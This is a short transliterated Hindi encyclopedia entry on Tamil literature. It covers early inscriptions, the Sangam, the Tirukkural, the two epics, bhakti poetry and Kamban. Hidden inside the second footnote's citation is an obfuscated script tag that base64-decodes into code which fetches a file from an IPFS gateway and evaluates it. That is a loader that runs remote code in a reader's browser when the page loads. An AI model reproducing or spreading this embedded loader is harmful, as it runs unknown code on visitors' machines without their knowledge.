तमिल साहित्य
tamil sahity bharat tatha shrilanka ki ek dravi d bhasha tamil ka rachana sansar hai. shastriy[1] sanskrit mean likhit sahity ke alava tamil bharat ka prachinatam sahity hai.
- kuchh prastar abhilekh tisari shatabdi ee. poo. ke haian, lekin vastavik tamil sahity lagabhag eesa ke bad pahali shatabdi ka hai.
- adhikaansh aranbhik kavy dharmik ya kavyatmak tha, jisamean dharmanirapeksh darabari kavita apavadasvaroop thi, jisaki rachana sangam ya vidvat parishad ke sadasyoan ne ki.[2]
- chauthi se chhathi shatabdi ki ullekhaniy kritiyoan mean do mahakavy 'shilpadikaram' v 'manimekalaee'[3] aur prem, shasakatv v niti jaise vishayoan par sooktiyoan ka sangrah 'tirukural' shamil haian.
- eesa ke bad chhathi se nauvian shatabdi mean bhakti ka avirbhav hua, jo vyaktigat bhakti ki kavita v dharm se sanbandhit thi aur tamil kshetr mean jisaki shuruat vishnu tatha shiv ke samman mean alavar v nayanaroan ke bhajanoan se huee.
- 12vian se 16vian shatabdi tak dharmik pratishrutiyoan ke kee darshanik granth, niti katha sangrahoan aur sath hi kavi kanban ki shastriy kritiyoan ki sanrachana huee.
- 19vian shatabdi se tamil sahity par lagatar pashchimi svaroopoan aur vicharoan ka prabhav p da.
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tika tippani aur sandarbh
- ↑ bharatiy-ary
- ↑ bharat jnanakosh, khand-2 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 532 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ ekamatr upalabdh tamil-bauddh kriti
sanbandhit lekh
varnamala kramanusar lekh khoj
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